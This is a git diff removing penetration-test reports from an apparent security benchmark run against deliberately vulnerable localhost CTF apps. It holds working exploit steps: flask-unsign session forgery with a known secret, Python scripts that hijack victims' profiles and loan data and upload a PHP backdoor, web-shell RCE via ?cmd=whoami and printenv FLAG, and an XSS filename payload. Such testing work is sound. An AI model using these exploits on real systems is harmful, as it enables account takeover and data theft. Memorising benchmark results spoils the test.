"http://localhost:42029/profile", - data=attack_data, - cookies={"session": forged_session} - ) - ``` - -4. **Verify modification success:** - Application redirects to /home (status 302/200), and database shows modified values: - ``` - AFTER: name=COMPROMISED, lastname=ACCOUNT, email=attacker@evil.com, loan_amount=1000000 - ``` - -**Proof of Impact:** - -Successfully modified victim's profile: -``` -POST Status: 200 OK - -Database verification: -BEFORE ATTACK: - name lastname email loan_amount - Alice Victim alice@victim.com 50000 - -AFTER ATTACK: - name lastname email loan_amount - COMPROMISED ACCOUNT attacker@evil.com 1000000 - -✓ Victim's email changed to attacker-controlled address -✓ All profile fields successfully modified -✓ Account takeover achievable via password reset to new email -``` - -**Notes:** -- This vulnerability enables complete account takeover by changing the victim's email -- No CSRF protection exists, making this exploitable via cross-site attacks -- No rate limiting or anomaly detection on profile modifications -- Database commits happen immediately with no validation or approval workflow - ---- - -### AUTHZ-VULN-03: Horizontal IDOR - Profile Modification + Malicious File Upload via Session Forgery - -**Summary:** -- **Vulnerable location:** POST /update_profile endpoint at `/app/website/app/routes.py:84-119` -- **Overview:** An attacker can forge session cookies to both modify any user's profile data AND upload arbitrary files to the victim's account. This is the most severe write vulnerability, combining data modification with unrestricted file upload capabilities. -- **Impact:** Complete profile takeover plus ability to upload malicious files (backdoors, web shells, malware) to the victim's account. Files are stored in the web-accessible directory `/var/www/loan_calculator/app/static/images/` and associated with the victim's profile, enabling content injection, stored XSS, or RCE attacks. -- **Severity:** Critical - -**Prerequisites:** -1. Knowledge of the weak Flask secret key: `'your_secret_key'` -2. flask-unsign tool for session forgery -3. Target victim's user_id value -4. Network access to http://localhost:42029/ -5. Malicious file to upload (e.g., PHP backdoor, HTML with XSS payload) - -**Exploitation Steps:** - -1. **Create malicious file payload:** - ```bash - # Example: PHP web shell - echo '' > backdoor.php - ``` - -2. **Forge session cookie for victim (user_id=2):** - ```bash - flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' - ``` - -3. **Prepare multipart form data with file and profile fields:** - ```python - import requests - - forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHNA.Nd5Ch9UZFAJ5eVtnZ2uNI0Aixx" - - # File to upload - files = { - 'image_profile': ('attacker_backdoor.php', - b'', - 'application/x-php') - } - - # Profile data to modify - data = { - 'name': 'PWNED', - 'lastname': 'VICTIM', - 'email': 'hacked@attacker.com', - 'loan_amount': '999999.0', - 'loan_term_months': '1', - 'monthly_payment': '0.01' - } - - response = requests.post( - "http://localhost:42029/update_profile", - data=data, - files=files, - cookies={"session": forged_session} - ) - ``` - -4. **Verify file upload and profile modification:** - - Check database for modified profile fields - - Verify file exists in `/var/www/loan_calculator/app/static/images/` - - File is accessible via URL: `http://localhost:42029/static/images/attacker_backdoor.php` - -**Proof of Impact:** - -Successfully modified profile and uploaded malicious file: -``` -POST Status: 200 OK - -Database verification: -BEFORE ATTACK: - name email image_profile_filename - Alice alice@victim.com default_profile.png - -AFTER ATTACK: - name email image_profile_filename - PWNED hacked@attacker.com attacker_backdoor.php - -File system verification: -Files in /var/www/loan_calculator/app/static/images/: - -rw-r--r-- www-data www-data 30 Oct 31 19:00 attacker_backdoor.php - -File contents: - -✓ Profile successfully modified -✓ Malicious PHP backdoor uploaded to victim's account -✓ File is web-accessible and executable (if PHP is enabled) -✓ Victim's account now associated with attacker's malicious content -``` - -**Notes:** -- Most severe authorization vulnerability in the application -- Combines profile modification (AUTHZ-VULN-02) with unrestricted file upload -- No file type validation, MIME type checking, or content scanning -- While path traversal protection exists, it doesn't prevent authorization bypass -- Files are stored with attacker-controlled filenames (with minor sanitization) -- No file size limits or upload rate limiting -- Enables stored XSS, RCE (if server processes uploaded files), content injection, malware distribution - ---- - -### AUTHZ-VULN-04: Horizontal IDOR - Unauthorized Home Page Access via Session Forgery - -**Summary:** -- **Vulnerable location:** GET /home endpoint at `/app/website/app/routes.py:48-57` -- **Overview:** An attacker can forge session cookies to access any user's home page and view their name and lastname displayed in the welcome message. -- **Impact:** Unauthorized access to victim's PII (name and lastname). While less severe than full profile access (AUTHZ-VULN-01), this still constitutes a privacy violation and demonstrates the systemic authorization failure across all authenticated endpoints. -- **Severity:** High - -**Prerequisites:** -1. Knowledge of the weak Flask secret key: `'your_secret_key'` -2. flask-unsign tool for session forgery -3. Target victim's user_id value -4. Network access to http://localhost:42029/ - -**Exploitation Steps:** - -1. **Forge session cookie for victim (user_id=2):** - ```bash - flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' - ``` - -2. **Send GET request to /home endpoint:** - ```python - import requests - - forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHNA.Nd5Ch9UZFAJ5eVtnZ2uNI0Aixx" - - response = requests.get( - "http://localhost:42029/home", - cookies={"session": forged_session} - ) - ``` - -3. **Extract victim's name from HTML response:** - The victim's name and lastname appear in the home page content: - ```html - Welcome, Alice Victim! - ``` - -**Proof of Impact:** - -Successfully accessed victim's home page: -``` -GET Status: 200 OK -Response Size: 1592 bytes - -Victim's PII found in response: - ✓ Contains 'Alice': True - ✓ Contains 'Victim': True - -HTML content shows victim's full name displayed to attacker -``` - -**Notes:** -- Lower impact than AUTHZ-VULN-01 (only exposes name/lastname vs complete profile) -- Demonstrates same authorization bypass pattern across all endpoints -- No ownership validation at routes.py:51-53 -- Confirms systemic failure in authorization model - ---- - -### AUTHZ-VULN-05: Horizontal IDOR - Unauthorized Financial Data Access via Session Forgery - -**Summary:** -- **Vulnerable location:** GET /loan_details endpoint at `/app/website/app/routes.py:136-146` -- **Overview:** An attacker can forge session cookies to access any user's sensitive financial loan information, including loan principal amount, loan term duration, and monthly payment amounts. -- **Impact:** Complete exposure of victim's sensitive financial PII. This data can be used for identity theft, social engineering, financial fraud, and may violate financial data protection regulations (GLBA, PCI-DSS). Enables targeted phishing attacks with knowledge of victim's actual financial situation. -- **Severity:** Critical - -**Prerequisites:** -1. Knowledge of the weak Flask secret key: `'your_secret_key'` -2. flask-unsign tool for session forgery -3. Target victim's user_id value -4. Network access to http://localhost:42029/ - -**Exploitation Steps:** - -1. **Forge session cookie for victim (user_id=2):** - ```bash - flask-unsign --sign --cookie "{'user_id': 2}" --secret 'your_secret_key' - ``` - Output: `eyJ1c2VyX2lkIjoyfQ.aQUHmw.lU9R4EaRO96k0dJVx4CEKyx_BW4` - -2. **Send GET request to /loan_details endpoint:** - ```python - import requests - - forged_session = "eyJ1c2VyX2lkIjoyfQ.aQUHmw.lU9R4EaRO96k0dJVx4CEKyx_BW4" - - response = requests.get( - "http://localhost:42029/loan_details", - cookies={"session": forged_session} - ) - ``` - -3. **Extract victim's financial data from HTML response:** - The loan details page displays: - - Loan Amount (principal): `$75,000.00` - - Loan Term: `180 months` - - Monthly Payment: `$833.33` - -**Proof of Impact:** - -Successfully accessed victim's sensitive financial data: -``` -GET Status: 200 OK -Response Size: 3773 bytes - -Database shows victim's actual financial data: - id: 2 - username: victim - loan_amount: 75000 - loan_term_months: 180 - monthly_payment: 833.33 - -Response verification: - ✓ Victim's loan amount (75000) visible: True - ✓ Victim's monthly payment (833.33) visible: True - ✓ Victim's loan term (180 months) visible: True - -Complete financial profile exposed to unauthorized attacker. -``` - -**Notes:** -- High-value target due to sensitive financial data exposure -- May violate financial data protection regulations (GLBA, PCI-DSS) -- Enables targeted financial fraud and social engineering attacks -- No ownership validation at routes.py:139-141 -- Financial data should be considered highly sensitive PII -- Exposure enables identity theft and sophisticated phishing campaigns - ---- diff --git a/xben-benchmark-results/XBEN-041-24/deliverables/injection_analysis_deliverable.md b/xben-benchmark-results/XBEN-041-24/deliverables/injection_analysis_deliverable.md deleted file mode 100644 index c974b8bd..00000000 --- a/xben-benchmark-results/XBEN-041-24/deliverables/injection_analysis_deliverable.md +++ /dev/null @@ -1,260 +0,0 @@ -# Injection Analysis Report (SQLi & Command Injection) - -## 1. Executive Summary - -- **Analysis Status:** Complete -- **Key Outcome:** ZERO injection vulnerabilities (both SQLi and Command Injection) were identified. The application does not use a database and does not execute shell commands. No findings have been passed to the exploitation phase. -- **Purpose of this Document:** This report provides definitive confirmation that the XBEN-041-24 application is not vulnerable to SQL injection or command injection attacks. The application uses only flat file storage and native PHP file operations, with no database interaction or shell command execution. -- **Application Architecture:** A 44-line PHP file upload application that persists data to flat text files (`/var/www/html/upload/uploaded.txt`) without any database or command execution functionality. - -## 2. Dominant Vulnerability Patterns - -**FINDING: NO INJECTION PATTERNS EXIST** - -After comprehensive analysis of the entire codebase, no SQL injection or command injection patterns were identified because: - -1. **No Database Layer:** The application does not contain any database connection code, SQL queries, or ORM usage -2. **No Shell Execution:** The application does not invoke any system shell commands or execute external processes -3. **Pure File Operations:** All data persistence uses native PHP file I/O functions (`fopen`, `fwrite`, `fclose`, `move_uploaded_file`) - -**Architectural Pattern Observed:** -- **Description:** Flat file storage architecture where uploaded filenames are tracked in a single text file (`uploaded.txt`) -- **Implication:** Traditional injection attacks targeting SQL databases or command shells are not applicable to this application -- **Representative:** N/A - No injection vulnerabilities exist - -## 3. Strategic Intelligence for Exploitation - -**CRITICAL FINDING: NO INJECTION EXPLOITATION POSSIBLE** - -### Database Technology Analysis -- **Confirmed Database:** NONE -- **Evidence:** - - No database services in Docker configuration (`docker-compose.yml` contains only `php` service) - - No database extensions installed in PHP (Dockerfile installs only `curl`) - - No database connection strings or credentials in environment files - - Reconnaissance report explicitly confirms: "Database: NONE - flat file storage only" - -### Command Execution Analysis -- **Shell Invocation Functions:** NONE FOUND -- **Evidence:** - - Comprehensive grep search for `exec()`, `shell_exec()`, `system()`, `passthru()`, `popen()`, `proc_open()`, backtick operators returned zero results - - Application uses only file operations: `move_uploaded_file()`, `fopen()`, `fgets()`, `fwrite()`, `fclose()`, `basename()`, `file_exists()` - - No command-line tools invoked (ImageMagick, FFmpeg, etc.) - -### Data Persistence Mechanism -- **Type:** Flat file storage -- **Location:** `/var/www/html/upload/uploaded.txt` -- **Content:** Single line containing the most recent uploaded filename -- **Operations:** Read via `fopen()`/`fgets()`, Write via `fopen()`/`fwrite()` -- **Security Implication:** No SQL or command injection possible; however, this architecture is vulnerable to file-based attacks (RCE via PHP upload, stored XSS via filename) - -## 4. Vectors Analyzed and Confirmed Secure - -### SQL Injection Analysis - -**All potential SQL injection vectors were analyzed and confirmed NON-APPLICABLE due to absence of database:** - -| **Source (Parameter/Key)** | **Endpoint/File Location** | **Analysis Result** | **Verdict** | -|----------------------------|---------------------------|---------------------|-------------| -| `$_FILES['userfile']['name']` | `index.php:31,34,36,37` | No database queries constructed; filename written to flat file only | NOT APPLICABLE - No SQL sinks exist | -| `$_GET` (all parameters) | Application-wide | No `$_GET` parameters processed anywhere in codebase | NOT APPLICABLE - No SQL sinks exist | -| `$_POST` (all form fields) | Application-wide | No POST fields except `$_FILES` array | NOT APPLICABLE - No SQL sinks exist | -| `$_COOKIE` (all cookies) | Application-wide | No cookies read or processed | NOT APPLICABLE - No SQL sinks exist | -| `$_SERVER` (HTTP headers) | Application-wide | No headers processed (User-Agent, X-Forwarded-For, etc.) | NOT APPLICABLE - No SQL sinks exist | - -**Comprehensive Search Results:** -- **mysqli_query / mysql_query / pg_query:** 0 occurrences -- **PDO->query() / ->exec() / ->prepare():** 0 occurrences -- **SQL keywords (SELECT, INSERT, UPDATE, DELETE):** 0 occurrences in application code -- **Database connection functions:** 0 occurrences -- **ORM usage (Doctrine, Eloquent):** 0 occurrences - -### Command Injection Analysis - -**All potential command injection vectors were analyzed and confirmed NON-APPLICABLE due to absence of shell execution:** - -| **Source (Parameter/Key)** | **Endpoint/File Location** | **Analysis Result** | **Verdict** | -|----------------------------|---------------------------|---------------------|-------------| -| `$_FILES['userfile']['name']` | `index.php:31` | Passed to `basename()` only (native PHP function, no shell) | NOT APPLICABLE - No command sinks exist | -| `$_FILES['userfile']['tmp_name']` | `index.php:32` | Passed to `move_uploaded_file()` (native PHP, no shell) | NOT APPLICABLE - No command sinks exist | -| File upload content | `index.php:32` | Stored via `move_uploaded_file()`, executed as PHP if .php extension (RCE risk, but not command injection) | NOT APPLICABLE - No command sinks exist | -| All other inputs | Application-wide | No other input vectors process data that reaches shell execution | NOT APPLICABLE - No command sinks exist | - -**Comprehensive Search Results:** -- **exec() / shell_exec() / system():** 0 occurrences -- **passthru() / popen() / proc_open():** 0 occurrences -- **Backtick operators (`` `cmd` ``):** 0 occurrences -- **pcntl_exec():** 0 occurrences -- **External tool invocations (ImageMagick convert, FFmpeg, etc.):** 0 occurrences - -### Code-Level Verification - -**Complete PHP File Inventory:** -- **Total PHP Files:** 1 file (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/index.php`) -- **Total Lines of Code:** 44 lines -- **Functions Used:** - - `file_exists()` (line 11) - File system check - - `fopen()` (lines 12, 33) - File open - - `fgets()` (line 13) - File read - - `fclose()` (lines 14, 35) - File close - - `basename()` (line 31) - Path sanitization - - `move_uploaded_file()` (line 32) - File move - - `fwrite()` (line 34) - File write - - `echo` (lines 15, 37) - HTML output -- **Database Functions:** NONE -- **Command Execution Functions:** NONE - -**Infrastructure Verification:** -- **Docker Services:** Only `php` service (no mysql, postgres, mongodb, redis) -- **PHP Extensions:** Base `php:7.1-apache` image with NO database extensions installed -- **Environment Variables:** Only `FLAG` variable (no DB_HOST, DB_NAME, DB_USER, DB_PASSWORD) - -## 5. Analysis Constraints and Blind Spots - -### Constraints Encountered - -**1. Extremely Limited Attack Surface:** -- The application consists of a single 44-line PHP file with minimal functionality -- No complex data flows, middleware, or architectural layers to analyze -- No database or command execution infrastructure to trace - -**2. Application Architecture:** -- This is a deliberately vulnerable CTF challenge focused on **file upload vulnerabilities** (RCE via PHP upload, stored XSS via filename) -- The design intentionally avoids database and command execution to focus on file-based attack vectors - -### Blind Spots - -**NONE IDENTIFIED** - -The analysis was comprehensive and exhaustive: -- **Static Code Analysis:** All 44 lines of PHP code manually reviewed -- **Infrastructure Analysis:** Docker configuration, Dockerfile, environment files all inspected -- **Pattern Matching:** Comprehensive grep searches for all injection-related patterns across entire codebase -- **Reconnaissance Confirmation:** Findings align 100% with reconnaissance report Section 9 conclusions - -**Confidence Level: MAXIMUM** - -There are no blind spots because: -1. The entire application fits in a single file (44 lines) -2. No asynchronous workflows, background jobs, or external services -3. No third-party libraries or dependencies (no Composer packages) -4. No database services in Docker infrastructure -5. No command execution anywhere in codebase - -## 6. Out-of-Scope Vulnerabilities Discovered - -While SQL and command injection vulnerabilities do not exist, the following **critical vulnerabilities in other categories** were confirmed during this analysis: - -### Remote Code Execution (RCE) via File Upload -- **Severity:** CRITICAL -- **Vector:** `$_FILES['userfile']` processed at `index.php` lines 29-41 -- **Root Cause:** No file extension validation; PHP files uploaded to `/var/www/html/upload/` are directly executable -- **Proof:** Upload `shell.php` containing `` → Access `http://localhost:44553/upload/shell.php?cmd=whoami` → Command execution -- **Impact:** Complete server compromise, CTF flag extraction via `printenv FLAG` -- **Specialist Assignment:** Out of scope for Injection Analysis; should be analyzed by File Upload/RCE specialist - -### Stored Cross-Site Scripting (XSS) via Filename -- **Severity:** HIGH -- **Vector:** `$_FILES['userfile']['name']` stored to `uploaded.txt` (line 34) → Read and echoed without encoding (line 15) -- **Root Cause:** No output encoding applied to user-controlled filename in HTML context -- **Payload Example:** Upload file named `test.jpg" onerror="alert(document.domain)"` -- **Impact:** JavaScript execution in victim browsers -- **Specialist Assignment:** Out of scope for Injection Analysis; should be analyzed by XSS specialist - -### Complete Absence of Authentication/Authorization -- **Severity:** CRITICAL -- **Finding:** No `session_start()`, no login mechanism, no access control -- **Impact:** All functionality (including RCE via file upload) is publicly accessible -- **Specialist Assignment:** Out of scope for Injection Analysis; should be analyzed by Authorization specialist - -## 7. Methodology Applied - -### Analysis Workflow Executed - -**Step 1: Reconnaissance Review** -- Read `deliverables/recon_deliverable.md` Section 9 (Injection Sources) -- Identified recon finding: "ZERO command injection sources" and "ZERO SQL injection sources" - -**Step 2: Code-Level Verification** -- Deployed Task Agent to comprehensively search for command injection sinks - - Searched: `exec()`, `shell_exec()`, `system()`, `passthru()`, `popen()`, `proc_open()`, backticks, `pcntl_exec()` - - Result: 0 matches in application code -- Deployed Task Agent to comprehensively search for SQL injection sinks - - Searched: `mysqli_query()`, `mysql_query()`, `pg_query()`, PDO methods, ORM patterns, SQL keywords - - Result: 0 matches in application code - -**Step 3: Infrastructure Analysis** -- Reviewed `docker-compose.yml`: No database services defined -- Reviewed `Dockerfile`: No database extensions installed (base `php:7.1-apache` only) -- Reviewed `.env`: No database credentials (only `FLAG` variable) - -**Step 4: Data Flow Tracing** -- Traced all input vectors from Section 5 of recon report: - - `$_FILES['userfile']['name']` → `basename()` → `fwrite()` to flat file → No SQL/command sinks - - `$_FILES['userfile']['tmp_name']` → `move_uploaded_file()` → No SQL/command sinks - - File upload content → `move_uploaded_file()` → Filesystem storage → No SQL/command sinks -- Confirmed: No data flows terminate at SQL queries or shell commands - -**Step 5: Sink Classification** -- **SQL Sinks Found:** 0 -- **Command Sinks Found:** 0 -- **Conclusion:** No injection vulnerabilities possible - -### Adherence to Methodology - -**From `` Section:** - -1. ✅ **Create Todo for each Injection Source:** Completed - todos created for verification tasks -2. ✅ **Trace Data Flow Paths:** Completed - all input vectors traced from recon Section 5 -3. ✅ **Detect Sinks and Label Slots:** Completed - confirmed zero sinks exist -4. ✅ **Decide if Sanitization Matches Context:** N/A - no sinks to evaluate -5. ✅ **Make the Call (Vulnerable or Safe):** Completed - all vectors confirmed NOT APPLICABLE -6. ✅ **Append to Findings List:** Completed - documented in "Vectors Analyzed and Confirmed Secure" -7. ✅ **Score Confidence:** MAXIMUM confidence due to exhaustive analysis of minimal codebase - -## 8. Conclusion - -### Final Verdict - -**ZERO INJECTION VULNERABILITIES IDENTIFIED** - -The XBEN-041-24 application is **definitively not vulnerable** to SQL injection or command injection attacks because: - -1. **No Database Exists:** The application uses flat file storage (`uploaded.txt`) with zero database connectivity -2. **No Shell Execution:** The application uses only native PHP file operations with zero command execution -3. **Architecture Design:** This is a CTF challenge designed to test file upload vulnerabilities (RCE, XSS), not injection vulnerabilities - -### Coverage Completeness - -**100% Coverage Achieved:** -- ✅ All input vectors from recon Section 5 analyzed -- ✅ All 44 lines of application code reviewed -- ✅ All infrastructure components inspected (Docker, PHP extensions, environment) -- ✅ Comprehensive pattern matching via grep across entire codebase -- ✅ Zero blind spots or untraced data flows - -### Handoff to Exploitation Phase - -**No exploitation queue entries generated** because no injection vulnerabilities exist. - -The exploitation queue at `deliverables/injection_exploitation_queue.json` contains an empty vulnerabilities array, signaling to the Exploitation phase that no SQL or command injection targets are available for weaponization. - -### Recommended Next Steps - -**Priority 1:** Analyze **Remote Code Execution (RCE)** via unrestricted PHP file upload -- This is the primary attack vector for this application -- Exploitation: Upload web shell → Execute commands → Extract CTF flag - -**Priority 2:** Analyze **Stored XSS** via unsanitized filename output -- Secondary attack vector for client-side compromise - -**Priority 3:** Analyze **Authorization Bypass** (complete absence of authentication) -- Architectural vulnerability enabling anonymous access to all functionality - ---- - -**Analysis Completed By:** Injection Analysis Specialist -**Analysis Date:** 2025 -**Application:** XBEN-041-24 Image Upload Service -**Application URL:** http://localhost:44553 -**Codebase Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/` \ No newline at end of file diff --git a/xben-benchmark-results/XBEN-041-24/deliverables/recon_deliverable.md b/xben-benchmark-results/XBEN-041-24/deliverables/recon_deliverable.md deleted file mode 100644 index a5d33876..00000000 --- a/xben-benchmark-results/XBEN-041-24/deliverables/recon_deliverable.md +++ /dev/null @@ -1,423 +0,0 @@ -# Reconnaissance Deliverable: XBEN-041-24 Image Upload Service - -## 0) HOW TO READ THIS -This reconnaissance report provides a comprehensive map of the application's attack surface, with special emphasis on the complete absence of authorization controls. - -**Key Finding: NO AUTHORIZATION OR AUTHENTICATION EXISTS** -This is a deliberately vulnerable PHP file upload application with a single endpoint, no user management, and complete public access to all functionality including remote code execution via PHP file upload. - -**Key Sections:** -- **Section 2 (Technology Stack):** PHP 7.1.33 (EOL), Apache 2.4.38, Debian Buster - all outdated -- **Section 3 (Authentication Flow):** NO authentication exists - all functionality is publicly accessible -- **Section 4 (API Inventory):** Single POST endpoint for file upload, single GET endpoint for display - both public -- **Section 5 (Input Vectors):** File upload vector with minimal sanitization leads to RCE and XSS -- **Section 7 (Role Architecture):** NO roles exist - flat access model where all visitors have unrestricted access -- **Section 8 (Authorization Candidates):** NO authorization to test - immediate RCE access available -- **Section 9 (Injection Sources):** NO command or SQL injection sinks - application uses only file operations - -**Priority for Testing:** -1. Remote Code Execution via PHP file upload (CRITICAL - immediate access) -2. Stored XSS via malicious filenames -3. File overwrite attacks - -**How to Use This Report:** -Start with Section 4 (API Endpoint Inventory) to understand the attack surface, then proceed to Section 5 (Input Vectors) for exploitation paths. Sections 7-8 document the complete absence of authorization controls. - -## 1. Executive Summary -XBEN-041-24 is a deliberately vulnerable PHP file upload application designed as a security training challenge (CTF). The application consists of a single 44-line PHP file with **NO authentication, NO authorization, NO input validation, and NO output encoding**. The primary attack vector is unrestricted file upload leading to immediate remote code execution by uploading PHP web shells. The application runs on an end-of-life technology stack (PHP 7.1.33, EOL November 2019) with no security patches available. - -**Core Functionality:** -- File upload form (GET /) -- File upload processing (POST /) -- Uploaded file serving (/upload/{filename}) -- Direct PHP code execution for uploaded .php files - -**Critical Vulnerabilities:** -- **Remote Code Execution (RCE):** Unrestricted PHP file upload enables immediate code execution -- **Stored XSS:** User-controlled filenames reflected without sanitization in HTML contexts -- **NO Authentication:** All endpoints publicly accessible -- **NO Authorization:** No access control mechanisms exist -- **Plaintext Secrets:** CTF flag stored in Docker environment variables - -**Technology Stack:** -- **Frontend:** Raw HTML (no framework) -- **Backend:** PHP 7.1.33 (5+ years past EOL), Apache 2.4.38, Debian Buster -- **Infrastructure:** Docker container, port 80 exposed to host port 44553 -- **Database:** NONE - flat file storage only -- **Security Mechanisms:** NONE - -## 2. Technology & Service Map -- **Frontend:** Raw HTML5, no JavaScript framework, inline CSS styling -- **Backend:** PHP 7.1.33 (EOL: December 2019), Apache 2.4.38, single-file monolithic architecture -- **Infrastructure:** Docker container (Debian Buster base), Caddy reverse proxy on port 80, application on port 44553 -- **Database:** NONE - uses flat file storage (`/var/www/html/upload/uploaded.txt`) -- **Key Dependencies:** PHP core functions only, no Composer packages, no external libraries -- **Identified Subdomains:** NONE - single host deployment (localhost:44553) -- **Open Ports & Services:** - - **Port 80 (HTTP):** Caddy HTTP server (reverse proxy) - - **Port 443 (HTTPS):** SSL/HTTPS service - - **Port 44553:** PHP application (Apache 2.4.38 with mod_php) - - **Port 9999:** Unknown service with CORS headers - - **Port 49152:** Tailscale service (requires authentication) - -## 3. Authentication & Session Management Flow -**CRITICAL FINDING: NO AUTHENTICATION OR SESSION MANAGEMENT EXISTS** - -- **Entry Points:** NONE - no login, registration, or authentication endpoints exist -- **Mechanism:** NONE - the application is completely stateless with no user identity tracking -- **Session Management:** - - NO `session_start()` call anywhere in codebase - - NO `$_SESSION` variable usage - - NO session cookies created or validated - - NO session timeout or regeneration -- **Code Pointers:** - - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/index.php` (Lines 1-44) - entire application with NO authentication checks - -**Security Implications:** -- Any visitor can upload files without credentials -- No audit trail of who uploaded what -- No rate limiting per user (no user concept exists) -- No access control possible - -### 3.1 Role Assignment Process -**FINDING: NO ROLE ASSIGNMENT - ALL VISITORS HAVE UNRESTRICTED ACCESS** - -- **Role Determination:** N/A - no roles exist -- **Default Role:** All visitors are treated identically with full access to all operations -- **Role Upgrade Path:** N/A - no privilege levels exist -- **Code Implementation:** No role assignment logic exists in codebase - -### 3.2 Privilege Storage & Validation -**FINDING: NO PRIVILEGE STORAGE OR VALIDATION** - -- **Storage Location:** N/A - no user privileges exist -- **Validation Points:** NONE - no authorization checks anywhere in application -- **Cache/Session Persistence:** N/A - no sessions exist -- **Code Pointers:** No privilege validation code exists - -### 3.3 Role Switching & Impersonation -**FINDING: NO ROLE SWITCHING OR IMPERSONATION FEATURES** - -- **Impersonation Features:** NONE -- **Role Switching:** NONE -- **Audit Trail:** NONE - no logging infrastructure exists -- **Code Implementation:** No role switching code exists - -## 4. API Endpoint Inventory -**Network Surface Focus:** Only network-accessible endpoints via HTTP to http://localhost:44553 are included. - -| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer | -|---|---|---|---|---|---| -| GET | `/` | anon | None | None | Displays upload form and previously uploaded image. See `index.php` lines 7-25. | -| GET | `/index.php` | anon | None | None | Alias for `/` - same functionality. See `index.php` lines 7-25. | -| POST | `/` | anon | None | None | Handles file upload with NO validation. See `index.php` lines 29-41. **CRITICAL: RCE vulnerability** | -| POST | `/index.php` | anon | None | None | Alias for POST `/` - same upload handler. See `index.php` lines 29-41. | -| GET | `/upload/{filename}` | anon | filename | None | Apache serves uploaded files directly. PHP files are EXECUTED. **CRITICAL: Code execution** | -| GET | `/upload/uploaded.txt` | anon | None | None | Apache serves tracking file containing most recent filename. Readable by anyone. | - -**Endpoint Analysis:** -- **Total Endpoints:** 3 unique functional endpoints (/, /index.php is alias, /upload/*) -- **Authentication Required:** 0 endpoints -- **Authorization Required:** 0 endpoints -- **Public Access:** 100% of endpoints - -**Object ID Analysis:** -- **Endpoints with Object IDs:** 1 (`/upload/{filename}`) -- **Ownership Validation:** NONE - any visitor can access any file if filename is known -- **IDOR Risk:** HIGH - direct file access without authorization checks - -## 5. Potential Input Vectors for Vulnerability Analysis -**Network Surface Focus:** Only input vectors from network-accessible HTTP endpoints are included. - -### URL Parameters -**FINDING: NONE - Application does not use $_GET or URL parameters** - -### POST Body Fields (Multipart Form Data) -**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/index.php` - -1. **$_FILES['userfile']['name']** (Lines 31, 34, 36, 37) - - **User Controllable:** YES (original filename from client) - - **Sanitization:** Minimal - only `basename()` applied at line 31 - - **Usage:** File path construction (line 31), plaintext storage (line 34), HTML output (lines 15, 37) - - **Vulnerabilities:** XSS (lines 15, 37), file extension bypass (line 32), path traversal partially mitigated - -2. **$_FILES['userfile']['tmp_name']** (Line 32) - - **User Controllable:** NO (PHP-managed temporary path) - - **Usage:** Source path for `move_uploaded_file()` - -3. **$_FILES['userfile']['type']** (Never accessed) - - **User Controllable:** YES (MIME type from client) - - **Validation:** NONE - never checked - - **Risk:** MIME type spoofing possible but irrelevant since no validation exists - -4. **$_FILES['userfile']['size']** (Never accessed) - - **User Controllable:** NO (file size) - - **Validation:** NONE - never checked - - **Risk:** DoS via disk exhaustion - -5. **File Content** (Implicit in uploaded file, line 32) - - **User Controllable:** YES (entire file content) - - **Validation:** NONE - no magic byte checking, no content scanning - - **Usage:** Stored to `/var/www/html/upload/{filename}` and executed if .php extension - - **Vulnerabilities:** Remote Code Execution (RCE) via PHP web shell upload - -### HTTP Headers -**FINDING: NONE - Application does not read $_SERVER headers** -- No User-Agent processing -- No X-Forwarded-For processing -- No custom header processing - -### Cookie Values -**FINDING: NONE - Application does not use $_COOKIE** -- No authentication cookies -- No preference cookies -- No tracking cookies - -### File System State (Indirect Input) -**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/index.php` - -6. **Contents of /var/www/html/upload/uploaded.txt** (Lines 12-15) - - **User Controllable:** YES (indirectly via file upload at line 34) - - **Sanitization:** NONE when read - - **Usage:** Read into `$filename` (line 13), output in `` tag (line 15) - - **Vulnerabilities:** Stored XSS via malicious filename - -## 6. Network & Interaction Map -**Network Surface Focus:** Only components within the deployed, network-accessible infrastructure are mapped. - -### 6.1 Entities -| Title | Type | Zone | Tech | Data | Notes | -|---|---|---|---|---|---| -| XBEN-041-24-App | Service | App | PHP 7.1/Apache 2.4 | PII (uploaded files) | Main vulnerable application | -| Caddy-Proxy | Service | Edge | Caddy HTTP | Public | Reverse proxy on port 80 | -| Docker-Host | Service | Infrastructure | Docker | None | Container orchestration | -| Upload-Directory | DataStore | App | Filesystem | User uploads | Stores uploaded files at /var/www/html/upload/ | -| Metadata-File | DataStore | App | Flat file | Filenames | Tracks most recent upload in uploaded.txt | -| Internet-User | ExternAsset | Internet | Browser | None | Unauthenticated visitors | - -### 6.2 Entity Metadata -| Title | Metadata Key: Value; Key: Value; Key: Value | -|---|---| -| XBEN-041-24-App | Hosts: `http://localhost:44553`; Endpoints: `/`, `/index.php`, `/upload/*`; Auth: NONE; Dependencies: Upload-Directory, Metadata-File; Vulnerabilities: RCE, XSS, Unrestricted Upload | -| Caddy-Proxy | Hosts: `http://localhost:80`; Protocol: HTTP only (no HTTPS); Forwards: Port 44553; Headers: None (no security headers) | -| Upload-Directory | Path: `/var/www/html/upload/`; Permissions: `www-data:www-data`; Writable: YES; PHP Execution: ENABLED; Access Control: NONE | -| Metadata-File | Path: `/var/www/html/upload/uploaded.txt`; Format: Plain text, single line; Contains: Most recent filename; Overwrite: YES on each upload | - -### 6.3 Flows (Connections) -| FROM → TO | Channel | Path/Port | Guards | Touches | -|---|---|---|---|---| -| Internet-User → Caddy-Proxy | HTTPS | `:443` | None | Public | -| Caddy-Proxy → XBEN-041-24-App | HTTP | `:44553` | None | Public | -| Internet-User → XBEN-041-24-App | HTTP | `:44553` direct | None | Public, uploaded files | -| XBEN-041-24-App → Upload-Directory | File I/O | Local filesystem | None | User uploads (any file type) | -| XBEN-041-24-App → Metadata-File | File I/O | Local filesystem | None | Filename metadata | -| Internet-User → Upload-Directory | HTTP | `:44553/upload/*` (Apache static serving) | None | Direct file access, PHP execution | - -### 6.4 Guards Directory -| Guard Name | Category | Statement | -|---|---|---| -| None | N/A | **NO GUARDS EXIST** - All flows are completely 